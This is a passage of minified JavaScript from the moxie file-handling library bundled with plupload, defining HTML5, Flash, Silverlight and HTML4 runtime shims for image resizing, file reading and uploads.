s?e(m,o/m[r],n):m}}}),e("moxie/runtime/html5/image/Image",["moxie/runtime/html5/Runtime","moxie/core/utils/Basic","moxie/core/Exceptions","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/runtime/html5/image/ImageInfo","moxie/runtime/html5/image/ResizerCanvas","moxie/core/utils/Mime","moxie/core/utils/Env"],function(e,g,x,v,i,y,_,E,w){return e.Image=function(){function o(){if(!l&&!u)throw new x.ImageError(x.DOMException.INVALID_STATE_ERR);return l||u}function n(){var e=o();return"canvas"==e.nodeName.toLowerCase()?e:((l=document.createElement("canvas")).width=e.width,l.height=e.height,l.getContext("2d").drawImage(e,0,0),l)}function r(e){return v.atob(e.substring(e.indexOf("base64,")+7))}function s(e){var t,i=this;(u=new Image).onerror=function(){a.call(this),i.trigger("error",x.ImageError.WRONG_FORMAT)},u.onload=function(){i.trigger("load")},u.src="data:"==e.substr(0,5)?e:(t=e,"data:"+(h.type||"")+";base64,"+v.btoa(t))}function a(){c&&(c.purge(),c=null),d=u=l=h=null,m=!1}var u,c,l,d,h,p=this,m=!1,f=!0;g.extend(this,{loadFromBlob:function(e){var t=this.getRuntime(),i=!(1<arguments.length)||arguments[1];if(!t.can("access_binary"))throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);return(h=e).isDetached()?(d=e.getSource(),void s.call(this,d)):void function(e,t){var i,n=this;return window.FileReader?((i=new FileReader).onload=function(){t.call(n,this.result)},i.onerror=function(){n.trigger("error",x.ImageError.WRONG_FORMAT)},void i.readAsDataURL(e)):t.call(this,e.getAsDataURL())}.call(this,e.getSource(),function(e){i&&(d=r(e)),s.call(this,e)})},loadFromImage:function(e,t){this.meta=e.meta,h=new y(null,{name:e.name,size:e.size,type:e.type}),s.call(this,t?d=e.getAsBinaryString():e.getAsDataURL())},getInfo:function(){var e,t=this.getRuntime();return!c&&d&&t.can("access_image_binary")&&(c=new _(d)),e={width:o().width||0,height:o().height||0,type:h.type||w.getFileMime(h.name),size:d&&d.length||h.size||0,name:h.name||"",meta:null},f&&(e.meta=c&&c.meta||this.meta||{},!e.meta||!e.meta.thumb||e.meta.thumb.data instanceof i||(e.meta.thumb.data=new i(null,{type:"image/jpeg",data:e.meta.thumb.data}))),e},resize:function(e,t,i){var n=document.createElement("canvas");if(n.width=e.width,n.height=e.height,n.getContext("2d").drawImage(o(),e.x,e.y,e.width,e.height,0,0,n.width,n.height),l=E.scale(n,t),!(f=i.preserveHeaders)){var r=this.meta&&this.meta.tiff&&this.meta.tiff.Orientation||1;l=function(e,t){var i=Math.PI/180,n=document.createElement("canvas"),r=n.getContext("2d"),o=e.width,s=e.height;switch(-1<g.inArray(t,[5,6,7,8])?(n.width=s,n.height=o):(n.width=o,n.height=s),t){case 2:r.translate(o,0),r.scale(-1,1);break;case 3:r.translate(o,s),r.rotate(180*i);break;case 4:r.translate(0,s),r.scale(1,-1);break;case 5:r.rotate(90*i),r.scale(1,-1);break;case 6:r.rotate(90*i),r.translate(0,-s);break;case 7:r.rotate(90*i),r.translate(o,-s),r.scale(-1,1);break;case 8:r.rotate(-90*i),r.translate(-o,0)}return r.drawImage(e,0,0,o,s),n}(l,r)}this.width=l.width,this.height=l.height,m=!0,this.trigger("Resize")},getAsCanvas:function(){return l||(l=n()),l.id=this.uid+"_canvas",l},getAsBlob:function(e,t){return e!==this.type?(m=!0,new y(null,{name:h.name||"",type:e,data:p.getAsDataURL(e,t)})):new y(null,{name:h.name||"",type:e,data:p.getAsBinaryString(e,t)})},getAsDataURL:function(e){var t=arguments[1]||90;if(!m)return u.src;if(n(),"image/jpeg"!==e)return l.toDataURL("image/png");try{return l.toDataURL("image/jpeg",t/100)}catch(e){return l.toDataURL("image/jpeg")}},getAsBinaryString:function(e,t){if(!m)return d||(d=r(p.getAsDataURL(e,t))),d;if("image/jpeg"!==e)d=r(p.getAsDataURL(e,t));else{var i;t||(t=90),n();try{i=l.toDataURL("image/jpeg",t/100)}catch(e){i=l.toDataURL("image/jpeg")}d=r(i),c&&(d=c.stripHeaders(d),f&&(c.meta&&c.meta.exif&&c.setExif({PixelXDimension:this.width,PixelYDimension:this.height}),d=c.writeHeaders(d)),c.purge(),c=null)}return m=!1,d},destroy:function(){p=null,a.call(this),this.getRuntime().getShim().removeInstance(this.uid)}})}}),e("moxie/runtime/flash/Runtime",["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/runtime/Runtime"],function(s,a,u,c,l){var t={};return l.addConstructor("flash",function(n){var r,e,o=this;n=s.extend({swf_url:a.swf_url},n),l.call(this,n,"flash",{access_binary:function(e){return e&&"browser"===o.mode},access_image_binary:function(e){return e&&"browser"===o.mode},display_media:l.capTest(d("moxie/image/Image")),do_cors:l.capTrue,drag_and_drop:!1,report_upload_progress:function(){return"client"===o.mode},resize_image:l.capTrue,return_response_headers:!1,return_response_type:function(e){return!("json"!==e||!window.JSON)||!s.arrayDiff(e,["","text","document"])||"browser"===o.mode},return_status_code:function(e){return"browser"===o.mode||!s.arrayDiff(e,[200,404])},select_file:l.capTrue,select_multiple:l.capTrue,send_binary_string:function(e){return e&&"browser"===o.mode},send_browser_cookies:function(e){return e&&"browser"===o.mode},send_custom_headers:function(e){return e&&"browser"===o.mode},send_multipart:l.capTrue,slice_blob:function(e){return e&&"browser"===o.mode},stream_upload:function(e){return e&&"browser"===o.mode},summon_file_dialog:!1,upload_filesize:function(e){return s.parseSizeStr(e)<=2097152||"client"===o.mode},use_http_method:function(e){return!s.arrayDiff(e,["GET","POST"])}},{access_binary:function(e){return e?"browser":"client"},access_image_binary:function(e){return e?"browser":"client"},report_upload_progress:function(e){return e?"browser":"client"},return_response_type:function(e){return s.arrayDiff(e,["","text","json","document"])?"browser":["client","browser"]},return_status_code:function(e){return s.arrayDiff(e,[200,404])?"browser":["client","browser"]},send_binary_string:function(e){return e?"browser":"client"},send_browser_cookies:function(e){return e?"browser":"client"},send_custom_headers:function(e){return e?"browser":"client"},slice_blob:function(e){return e?"browser":"client"},stream_upload:function(e){return e?"client":"browser"},upload_filesize:function(e){return 2097152<=s.parseSizeStr(e)?"client":"browser"}},"client"),function(){var t;try{t=(t=navigator.plugins["Shockwave Flash"]).description}catch(e){try{t=new ActiveXObject("ShockwaveFlash.ShockwaveFlash").GetVariable("$version")}catch(e){t="0.0"}}return t=t.match(/\d+/g),parseFloat(t[0]+"."+t[1])}()<11.3&&(this.mode=!1),s.extend(this,{getShim:function(){return u.get(this.uid)},shimExec:function(e,t){var i=[].slice.call(arguments,2);return o.getShim().exec(this.uid,e,t,i)},init:function(){var e,t,i;i=this.getShimContainer(),s.extend(i.style,{position:"absolute",top:"-8px",left:"-8px",width:"9px",height:"9px",overflow:"hidden"}),e='<object id="'+this.uid+'" type="application/x-shockwave-flash" data="'+n.swf_url+'" ',"IE"===a.browser&&(e+='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" '),e+='width="100%" height="100%" style="outline:0"><param name="movie" value="'+n.swf_url+'" /><param name="flashvars" value="uid='+escape(this.uid)+"&target="+l.getGlobalEventTarget()+'" /><param name="wmode" value="transparent" /><param name="allowscriptaccess" value="always" /></object>',"IE"===a.browser?(t=document.createElement("div"),i.appendChild(t),t.outerHTML=e,t=i=null):i.innerHTML=e,r=setTimeout(function(){o&&!o.initialized&&o.trigger("Error",new c.RuntimeError(c.RuntimeError.NOT_INIT_ERR))},5e3)},destroy:(e=this.destroy,function(){var t,i;t=o.uid,(i=u.get(t))&&"OBJECT"==i.nodeName&&("IE"===a.browser?(i.style.display="none",function e(){4==i.readyState?function(e){var t=u.get(e);if(t){for(var i in t)"function"==typeof t[i]&&(t[i]=null);t.parentNode.removeChild(t)}}(t):setTimeout(e,10)}()):i.parentNode.removeChild(i)),e.call(o),clearTimeout(r),n=r=e=o=null})},t)}),t}),e("moxie/runtime/flash/file/Blob",["moxie/runtime/flash/Runtime","moxie/file/Blob"],function(e,o){var t={slice:function(e,t,i,n){var r=this.getRuntime();return t<0?t=Math.max(e.size+t,0):0<t&&(t=Math.min(t,e.size)),i<0?i=Math.max(e.size+i,0):0<i&&(i=Math.min(i,e.size)),(e=r.shimExec.call(this,"Blob","slice",t,i,n||""))&&(e=new o(r.uid,e)),e}};return e.Blob=t}),e("moxie/runtime/flash/file/FileInput",["moxie/runtime/flash/Runtime","moxie/file/File","moxie/core/utils/Dom","moxie/core/utils/Basic"],function(e,r,o,s){var t={init:function(e){var t=this,i=this.getRuntime(),n=o.get(e.browse_button);n&&(n.setAttribute("tabindex",-1),n=null),this.bind("Change",function(){var e=i.shimExec.call(t,"FileInput","getFiles");t.files=[],s.each(e,function(e){t.files.push(new r(i.uid,e))})},999),this.getRuntime().shimExec.call(this,"FileInput","init",{accept:e.accept,multiple:e.multiple}),this.trigger("ready")}};return e.FileInput=t}),e("moxie/runtime/flash/file/FileReader",["moxie/runtime/flash/Runtime","moxie/core/utils/Encode"],function(e,r){var t={read:function(i,e){var n=this;return n.result="","readAsDataURL"===i&&(n.result="data:"+(e.type||"")+";base64,"),n.bind("Progress",function(e,t){t&&(n.result+=function(e,t){switch(i){case"readAsText":return r.atob(e,"utf8");case"readAsBinaryString":return r.atob(e);case"readAsDataURL":return e}return null}(t))},999),n.getRuntime().shimExec.call(this,"FileReader","readAsBase64",e.uid)}};return e.FileReader=t}),e("moxie/runtime/flash/file/FileReaderSync",["moxie/runtime/flash/Runtime","moxie/core/utils/Encode"],function(e,n){var t={read:function(e,t){var i;return(i=this.getRuntime().shimExec.call(this,"FileReaderSync","readAsBase64",t.uid))?("readAsDataURL"===e&&(i="data:"+(t.type||"")+";base64,"+i),function(e,t){switch(t){case"readAsText":return n.atob(e,"utf8");case"readAsBinaryString":return n.atob(e);case"readAsDataURL":return e}return null}(i,e,t.type)):null}};return e.FileReaderSync=t}),e("moxie/runtime/flash/runtime/Transporter",["moxie/runtime/flash/Runtime","moxie/file/Blob"],function(e,n){var t={getAsBlob:function(e){var t=this.getRuntime(),i=t.shimExec.call(this,"Transporter","getAsBlob",e);return i?new n(t.uid,i):null}};return e.Transporter=t}),e("moxie/runtime/flash/xhr/XMLHttpRequest",["moxie/runtime/flash/Runtime","moxie/core/utils/Basic","moxie/file/Blob","moxie/file/File","moxie/file/FileReaderSync","moxie/runtime/flash/file/FileReaderSync","moxie/xhr/FormData","moxie/runtime/Transporter","moxie/runtime/flash/runtime/Transporter"],function(e,c,l,r,o,t,d,h){var i={send:function(e,i){function n(){e.transport=a.mode,a.shimExec.call(s,"XMLHttpRequest","send",e,i)}function t(e,t){a.shimExec.call(s,"XMLHttpRequest","appendBlob",e,t.uid),i=null,n()}function r(e,t){var i=new h;i.bind("TransportingComplete",function(){t(this.result)}),i.transport(e.getSource(),e.type,{ruid:a.uid})}var o,s=this,a=s.getRuntime();if(c.isEmptyObj(e.headers)||c.each(e.headers,function(e,t){a.shimExec.call(s,"XMLHttpRequest","setRequestHeader",t,e.toString())}),i instanceof d)if(i.each(function(e,t){e instanceof l?o=t:a.shimExec.call(s,"XMLHttpRequest","append",t,e)}),i.hasBlob()){var u=i.getBlob();u.isDetached()?r(u,function(e){u.destroy(),t(o,e)}):t(o,u)}else i=null,n();else i instanceof l?i.isDetached()?r(i,function(e){i.destroy(),i=e.uid,n()}):(i=i.uid,n()):n()},getResponse:function(e){var t,i,n=this.getRuntime();if(i=n.shimExec.call(this,"XMLHttpRequest","getResponseAsBlob")){if(i=new r(n.uid,i),"blob"===e)return i;try{if(t=new o,~c.inArray(e,["","text"]))return t.readAsText(i);if("json"===e&&window.JSON)return JSON.parse(t.readAsText(i))}finally{i.destroy()}}return null},abort:function(){this.getRuntime().shimExec.call(this,"XMLHttpRequest","abort"),this.dispatchEvent("readystatechange"),this.dispatchEvent("abort")}};return e.XMLHttpRequest=i}),e("moxie/runtime/flash/image/Image",["moxie/runtime/flash/Runtime","moxie/core/utils/Basic","moxie/runtime/Transporter","moxie/file/Blob","moxie/file/FileReaderSync"],function(e,t,o,r,i){var n={loadFromBlob:function(e){function t(e){n.shimExec.call(i,"Image","loadFromBlob",e.uid),i=n=null}var i=this,n=i.getRuntime();if(e.isDetached()){var r=new o;r.bind("TransportingComplete",function(){t(r.result.getSource())}),r.transport(e.getSource(),e.type,{ruid:n.uid})}else t(e.getSource())},loadFromImage:function(e){return this.getRuntime().shimExec.call(this,"Image","loadFromImage",e.uid)},getInfo:function(){var e=this.getRuntime(),t=e.shimExec.call(this,"Image","getInfo");return t.meta&&t.meta.thumb&&t.meta.thumb.data&&!(e.meta.thumb.data instanceof r)&&(t.meta.thumb.data=new r(e.uid,t.meta.thumb.data)),t},getAsBlob:function(e,t){var i=this.getRuntime(),n=i.shimExec.call(this,"Image","getAsBlob",e,t);return n?new r(i.uid,n):null},getAsDataURL:function(){var e=this.getRuntime().Image.getAsBlob.apply(this,arguments);return e?(new i).readAsDataURL(e):null}};return e.Image=n}),e("moxie/runtime/silverlight/Runtime",["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/runtime/Runtime"],function(r,o,s,a,u){var c="silverlight",l={};return u.addConstructor(c,function(e){var t,i,n=this;e=r.extend({xap_url:o.xap_url},e),u.call(this,e,c,{access_binary:u.capTrue,access_image_binary:u.capTrue,display_media:u.capTest(d("moxie/image/Image")),do_cors:u.capTrue,drag_and_drop:!1,report_upload_progress:u.capTrue,resize_image:u.capTrue,return_response_headers:function(e){return e&&"client"===n.mode},return_response_type:function(e){return"json"!==e||!!window.JSON},return_status_code:function(e){return"client"===n.mode||!r.arrayDiff(e,[200,404])},select_file:u.capTrue,select_multiple:u.capTrue,send_binary_string:u.capTrue,send_browser_cookies:function(e){return e&&"browser"===n.mode},send_custom_headers:function(e){return e&&"client"===n.mode},send_multipart:u.capTrue,slice_blob:u.capTrue,stream_upload:!0,summon_file_dialog:!1,upload_filesize:u.capTrue,use_http_method:function(e){return"client"===n.mode||!r.arrayDiff(e,["GET","POST"])}},{return_response_headers:function(e){return e?"client":"browser"},return_status_code:function(e){return r.arrayDiff(e,[200,404])?"client":["client","browser"]},send_browser_cookies:function(e){return e?"browser":"client"},send_custom_headers:function(e){return e?"client":"browser"},use_http_method:function(e){return r.arrayDiff(e,["GET","POST"])?"client":["client","browser"]}}),function(t){var i,n,r,o,s,a=!1,u=0;try{try{new ActiveXObject("AgControl.AgControl").IsVersionSupported(t)&&(a=!0)}catch(e){var c=navigator.plugins["Silverlight Plug-In"];if(c){for("1.0.30226.2"===(i=c.description)&&(i="2.0.30226.2"),n=i.split(".");3<n.length;)n.pop();for(;n.length<4;)n.push(0);for(r=t.split(".");4<r.length;)r.pop();for(;o=parseInt(r[u],10),s=parseInt(n[u],10),++u<r.length&&o===s;);o<=s&&!isNaN(o)&&(a=!0)}}}catch(e){a=!1}return a}("2.0.31005.0")&&"Opera"!==o.browser||(this.mode=!1),r.extend(this,{getShim:function(){return s.get(this.uid).content.Moxie},shimExec:function(e,t){var i=[].slice.call(arguments,2);return n.getShim().exec(this.uid,e,t,i)},init:function(){this.getShimContainer().innerHTML='<object id="'+this.uid+'" data="data:application/x-silverlight," type="application/x-silverlight-2" width="100%" height="100%" style="outline:none;"><param name="source" value="'+e.xap_url+'"/><param name="background" value="Transparent"/><param name="windowless" value="true"/><param name="enablehtmlaccess" value="true"/><param name="initParams" value="uid='+this.uid+",target="+u.getGlobalEventTarget()+'"/></object>',t=setTimeout(function(){n&&!n.initialized&&n.trigger("Error",new a.RuntimeError(a.RuntimeError.NOT_INIT_ERR))},"Windows"!==o.OS?1e4:5e3)},destroy:(i=this.destroy,function(){i.call(n),clearTimeout(t),e=t=i=n=null})},l)}),l}),e("moxie/runtime/silverlight/file/Blob",["moxie/runtime/silverlight/Runtime","moxie/core/utils/Basic","moxie/runtime/flash/file/Blob"],function(e,t,i){return e.Blob=t.extend({},i)}),e("moxie/runtime/silverlight/file/FileInput",["moxie/runtime/silverlight/Runtime","moxie/file/File","moxie/core/utils/Dom","moxie/core/utils/Basic"],function(e,r,o,s){function a(e){for(var t="",i=0;i<e.length;i++)t+=(""!==t?"|":"")+e[i].title+" | *."+e[i].extensions.replace(/,/g,";*.");return t}var t={init:function(e){var t=this,i=this.getRuntime(),n=o.get(e.browse_button);n&&(n.setAttribute("tabindex",-1),n=null),this.bind("Change",function(){var e=i.shimExec.call(t,"FileInput","getFiles");t.files=[],s.each(e,function(e){t.files.push(new r(i.uid,e))})},999),i.shimExec.call(this,"FileInput","init",a(e.accept),e.multiple),this.trigger("ready")},setOption:function(e,t){"accept"==e&&(t=a(t)),this.getRuntime().shimExec.call(this,"FileInput","setOption",e,t)}};return e.FileInput=t}),e("moxie/runtime/silverlight/file/FileDrop",["moxie/runtime/silverlight/Runtime","moxie/core/utils/Dom","moxie/core/utils/Events"],function(e,i,n){var t={init:function(){var e,t=this.getRuntime();return e=t.getShimContainer(),n.addEvent(e,"dragover",function(e){e.preventDefault(),e.stopPropagation(),e.dataTransfer.dropEffect="copy"},this.uid),n.addEvent(e,"dragenter",function(e){e.preventDefault(),i.get(t.uid).dragEnter(e)&&e.stopPropagation()},this.uid),n.addEvent(e,"drop",function(e){e.preventDefault(),i.get(t.uid).dragDrop(e)&&e.stopPropagation()},this.uid),t.shimExec.call(this,"FileDrop","init")}};return e.FileDrop=t}),e("moxie/runtime/silverlight/file/FileReader",["moxie/runtime/silverlight/Runtime","moxie/core/utils/Basic","moxie/runtime/flash/file/FileReader"],function(e,t,i){return e.FileReader=t.extend({},i)}),e("moxie/runtime/silverlight/file/FileReaderSync",["moxie/runtime/silverlight/Runtime","moxie/core/utils/Basic","moxie/runtime/flash/file/FileReaderSync"],function(e,t,i){return e.FileReaderSync=t.extend({},i)}),e("moxie/runtime/silverlight/runtime/Transporter",["moxie/runtime/silverlight/Runtime","moxie/core/utils/Basic","moxie/runtime/flash/runtime/Transporter"],function(e,t,i){return e.Transporter=t.extend({},i)}),e("moxie/runtime/silverlight/xhr/XMLHttpRequest",["moxie/runtime/silverlight/Runtime","moxie/core/utils/Basic","moxie/runtime/flash/xhr/XMLHttpRequest","moxie/runtime/silverlight/file/FileReaderSync","moxie/runtime/silverlight/runtime/Transporter"],function(e,t,i){return e.XMLHttpRequest=t.extend({},i)}),e("moxie/runtime/silverlight/image/Image",["moxie/runtime/silverlight/Runtime","moxie/core/utils/Basic","moxie/file/Blob","moxie/runtime/flash/image/Image"],function(e,t,i,n){return e.Image=t.extend({},n,{getInfo:function(){var e=this.getRuntime(),s={meta:{}},a=e.shimExec.call(this,"Image","getInfo");return a.meta&&(t.each(["tiff","exif","gps","thumb"],function(e){var t,i,n,r,o=a.meta[e];if(o&&o.keys)for(s.meta[e]={},i=0,n=o.keys.length;i<n;i++)(r=o[t=o.keys[i]])&&(/^(\d|[1-9]\d+)$/.test(r)?r=parseInt(r,10):/^\d*\.\d+$/.test(r)&&(r=parseFloat(r)),s.meta[e][t]=r)}),s.meta&&s.meta.thumb&&s.meta.thumb.data&&!(e.meta.thumb.data instanceof i)&&(s.meta.thumb.data=new i(e.uid,s.meta.thumb.data))),s.width=parseInt(a.width,10),s.height=parseInt(a.height,10),s.size=parseInt(a.size,10),s.type=a.type,s.name=a.name,s},resize:function(e,t,i){this.getRuntime().shimExec.call(this,"Image","resize",e.x,e.y,e.width,e.height,t,i.preserveHeaders,i.resample)}})}),e("moxie/runtime/html4/Runtime",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/Runtime","moxie/core/utils/Env"],function(o,e,s,a){var u={};return s.addConstructor("html4",function(e){var t,i=this,n=s.capTest,r=s.capTrue;s.call(this,e,"html4",{access_binary:n(window.FileReader||window.File&&File.getAsDataURL),access_image_binary:!1,display_media:n((a.can("create_canvas")||a.can("use_data_uri_over32kb"))&&d("moxie/image/Image")),do_cors:!1,drag_and_drop:!1,filter_by_extension:n(!("Chrome"===a.browser&&a.verComp(a.version,28,"<")||"IE"===a.browser&&a.verComp(a.version,10,"<")||"Safari"===a.browser&&a.verComp(a.version,7,"<")||"Firefox"===a.browser&&a.verComp(a.version,37,"<"))),resize_image:function(){return u.Image&&i.can("access_binary")&&a.can("create_canvas")},report_upload_progress:!1,return_response_headers:!1,return_response_type:function(e){return!("json"!==e||!window.JSON)||!!~o.inArray(e,["text","document",""])},return_status_code:function(e){return!o.arrayDiff(e,[200,404])},select_file:function(){return a.can("use_fileinput")},select_multiple:!1,send_binary_string:!1,send_custom_headers:!1,send_multipart:!0,slice_blob:!1,stream_upload:function(){return i.can("select_file")},summon_file_dialog:function(){return i.can("select_file")&&!("Firefox"===a.browser&&a.verComp(a.version,4,"<")||"Opera"===a.browser&&a.verComp(a.version,12,"<")||"IE"===a.browser&&a.verComp(a.version,10,"<"))},upload_filesize:r,use_http_method:function(e){return!o.arrayDiff(e,["GET","POST"])}}),o.extend(this,{init:function(){this.trigger("Init")},destroy:(t=this.destroy,function(){t.call(i),t=i=null})}),o.extend(this.getShim(),u)}),u}),e("moxie/runtime/html4/file/FileInput",["moxie/runtime/html4/Runtime","moxie/file/File","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Events","moxie/core/utils/Mime","moxie/core/utils/Env"],function(e,h,p,m,f,u,g){return e.FileInput=function(){var c,l,a,d=[];p.extend(this,{init:function(e){var t,i,n,r,o=this,s=o.getRuntime();l=e,d=u.extList2mimes(e.accept,s.can("filter_by_extension")),t=s.getShimContainer(),i=m.get(e.browse_button),a=m.getStyle(i,"z-index")||"auto",s.can("summon_file_dialog")?("static"===m.getStyle(i,"position")&&(i.style.position="relative"),o.bind("Refresh",function(){n=parseInt(a,10)||1,m.get(l.browse_button).style.zIndex=n,this.getRuntime().getShimContainer().style.zIndex=n-1})):i.setAttribute("tabindex",-1),r=s.can("summon_file_dialog")?i:t,f.addEvent(r,"mouseover",function(){o.trigger("mouseenter")},o.uid),f.addEvent(r,"mouseout",function(){o.trigger("mouseleave")},o.uid),f.addEvent(r,"mousedown",function(){o.trigger("mousedown")},o.uid),f.addEvent(m.get(e.container),"mouseup",function(){o.trigger("mouseup")},o.uid),i=null,function t(){var e,i,n,r,o,s,a=this,u=a.getRuntime();s=p.guid("uid_"),e=u.getShimContainer(),c&&(n=m.get(c+"_form"))&&(p.extend(n.style,{top:"100%"}),n.firstChild.setAttribute("tabindex",-1)),(r=document.createElement("form")).setAttribute("id",s+"_form"),r.setAttribute("method","post"),r.setAttribute("enctype","multipart/form-data"),r.setAttribute("encoding","multipart/form-data"),p.extend(r.style,{overflow:"hidden",position:"absolute",top:0,left:0,width:"100%",height:"100%"}),(o=document.createElement("input")).setAttribute("id",s),o.setAttribute("type","file"),o.setAttribute("accept",d.join(",")),u.can("summon_file_dialog")&&o.setAttribute("tabindex",-1),p.extend(o.style,{fontSize:"999px",opacity:0}),r.appendChild(o),e.appendChild(r),p.extend(o.style,{position:"absolute",top:0,left:0,width:"100%",height:"100%"}),"IE"===g.browser&&g.verComp(g.version,10,"<")&&p.extend(o.style,{filter:"progid:DXImageTransform.Microsoft.Alpha(opacity=0)"}),o.onchange=function(){var e;this.value&&(e=this.files?this.files[0]:{name:this.value},e=new h(u.uid,e),this.onchange=function(){},t.call(a),a.files=[e],o.setAttribute("id",e.uid),r.setAttribute("id",e.uid+"_form"),a.trigger("change"),o=r=null)},u.can("summon_file_dialog")&&(i=m.get(l.browse_button),f.removeEvent(i,"click",a.uid),f.addEvent(i,"click",function(e){o&&!o.disabled&&o.click(),e.preventDefault()},a.uid)),c=s,e=n=i=null}.call(this),t=null,o.trigger({type:"ready",async:!0})},setOption:function(e,t){var i,n=this.getRuntime();"accept"==e&&(d=t.mimes||u.extList2mimes(t,n.can("filter_by_extension"))),(i=m.get(c))&&i.setAttribute("accept",d.join(","))},disable:function(e){var t;(t=m.get(c))&&(t.disabled=!!e)},destroy:function(){var e=this.getRuntime(),t=e.getShim(),i=e.getShimContainer(),n=l&&m.get(l.container),r=l&&m.get(l.browse_button);n&&f.removeAllEvents(n,this.uid),r&&(f.removeAllEvents(r,this.uid),r.style.zIndex=a),i&&(f.removeAllEvents(i,this.uid),i.innerHTML=""),t.removeInstance(this.uid),c=d=l=i=n=r=t=null}})}}),e("moxie/runtime/html4/file/FileReader",["moxie/runtime/html4/Runtime","moxie/runtime/html5/file/FileReader"],function(e,t){return e.FileReader=t}),e("moxie/runtime/html4/xhr/XMLHttpRequest",["moxie/runtime/html4/Runtime","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Url","moxie/core/Exceptions","moxie/core/utils/Events","moxie/file/Blob","moxie/xhr/FormData"],function(e,m,f,g,x,v,y,_){return e.XMLHttpRequest=function(){function l(t){var e,i,n,r,o=this,s=!1;if(p){if(e=p.id.replace(/_iframe$/,""),i=f.get(e+"_form")){for(r=(n=i.getElementsByTagName("input")).length;r--;)switch(n[r].getAttribute("type")){case"hidden":n[r].parentNode.removeChild(n[r]);break;case"file":s=!0}n=[],s||i.parentNode.removeChild(i),i=null}setTimeout(function(){v.removeEvent(p,"load",o.uid),p.parentNode&&p.parentNode.removeChild(p);var e=o.getRuntime().getShimContainer();e.children.length||e.parentNode.removeChild(e),e=p=null,t()},1)}}var d,h,p;m.extend(this,{send:function(t,e){var i,n,r,o,s,a,u=this,c=u.getRuntime();if(d=h=null,e instanceof _&&e.hasBlob()){if(i=(o=e.getBlob()).uid,r=f.get(i),!(n=f.get(i+"_form")))throw new x.DOMException(x.DOMException.NOT_FOUND_ERR)}else i=m.guid("uid_"),(n=document.createElement("form")).setAttribute("id",i+"_form"),n.setAttribute("method",t.method),n.setAttribute("enctype","multipart/form-data"),n.setAttribute("encoding","multipart/form-data"),c.getShimContainer().appendChild(n);n.setAttribute("target",i+"_iframe"),e instanceof _&&e.each(function(e,t){if(e instanceof y)r&&r.setAttribute("name",t);else{var i=document.createElement("input");m.extend(i,{type:"hidden",name:t,value:e}),r?n.insertBefore(i,r):n.appendChild(i)}}),n.setAttribute("action",t.url),s=c.getShimContainer()||document.body,(a=document.createElement("div")).innerHTML='<iframe id="'+i+'_iframe" name="'+i+'_iframe" src="javascript:&quot;&quot;" style="display:none"></iframe>',p=a.firstChild,s.appendChild(p),v.addEvent(p,"load",function(){var e;try{e=p.contentWindow.document||p.contentDocument||window.frames[p.id].document,/^4(0[0-9]|1[0-7]|2[2346])\s/.test(e.title)?d=e.title.replace(/^(\d+).*$/,"$1"):(d=200,h=m.trim(e.body.innerHTML),u.trigger({type:"progress",loaded:h.length,total:h.length}),o&&u.trigger({type:"uploadprogress",loaded:o.size||1025,total:o.size||1025}))}catch(e){if(!g.hasSameOrigin(t.url))return void l.call(u,function(){u.trigger("error")});d=404}l.call(u,function(){u.trigger("load")})},u.uid),n.submit(),u.trigger("loadstart")},getStatus:function(){return d},getResponse:function(e){if("json"===e&&"string"===m.typeOf(h)&&window.JSON)try{return JSON.parse(h.replace(/^\s*<pre[^>]*>/,"").replace(/<\/pre>\s*$/,""))}catch(e){return null}return h},abort:function(){var e=this;p&&p.contentWindow&&(p.contentWindow.stop?p.contentWindow.stop():p.contentWindow.document.execCommand?p.contentWindow.document.execCommand("Stop"):p.src="about:blank"),l.call(this,function(){e.dispatchEvent("abort")})},destroy:function(){this.getRuntime().getShim().removeInstance(this.uid)}})}}),e("moxie/runtime/html4/image/Image",["moxie/runtime/html4/Runtime","moxie/runtime/html5/image/Image"],function(e,t){return e.Image=t}),function(e){for(var t=0;t<e.length;t++){for(var i=s,n=e[t],r=n.split(/[.\/]/),o=0;o<r.length-1;++o)i[r[o]]===y&&(i[r[o]]={}),i=i[r[o]];i[r[r.length-1]]=u[n]}}(["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/core/utils/Env","moxie/core/Exceptions","moxie/core/utils/Dom","moxie/core/EventTarget","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/file/Blob","moxie/core/I18n","moxie/core/utils/Mime","moxie/file/FileInput","moxie/file/File","moxie/file/FileDrop","moxie/file/FileReader","moxie/core/utils/Url","moxie/runtime/RuntimeTarget","moxie/xhr/FormData","moxie/xhr/XMLHttpRequest","moxie/image/Image","moxie/core/utils/Events","moxie/runtime/html5/image/ResizerCanvas"])}(this)}.apply(e,arguments),e.moxie};"function"==typeof define&&define.amd?define("moxie",[],i):"object"==typeof module&&module.exports?module.exports=i():e.moxie=i()}(this||window),function(e,t){var i=function(){var e={};return function(e){!function(e,I,O){function A(e){function i(e,t,i){var n={chunks:"slice_blob",jpgresize:"send_binary_string",pngresize:"send_binary_string",progress:"report_upload_progress",multi_selection:"select_multiple",dragdrop:"drag_and_drop",drop_element:"drag_and_drop",headers:"send_custom_headers",urlstream_upload:"send_binary_string",canSendBinary:"send_binary",triggerDialog:"summon_file_dialog"};n[e]?r[n[e]]=t:i||(r[e]=t)}var t=e.required_features,r={};return"string"==typeof t?C.each(t.split(/\s*,\s*/),function(e){i(e,!0)}):"object"==typeof t?C.each(t,function(e,t){i(t,e)}):!0===t&&(e.chunk_size&&0<e.chunk_size&&(r.slice_blob=!0),C.isEmptyObj(e.resize)&&!1!==e.multipart||(r.send_binary_string=!0),e.http_method&&(r.use_http_method=e.http_method),C.each(e,function(e,t){i(t,!!e,!0)})),r}var 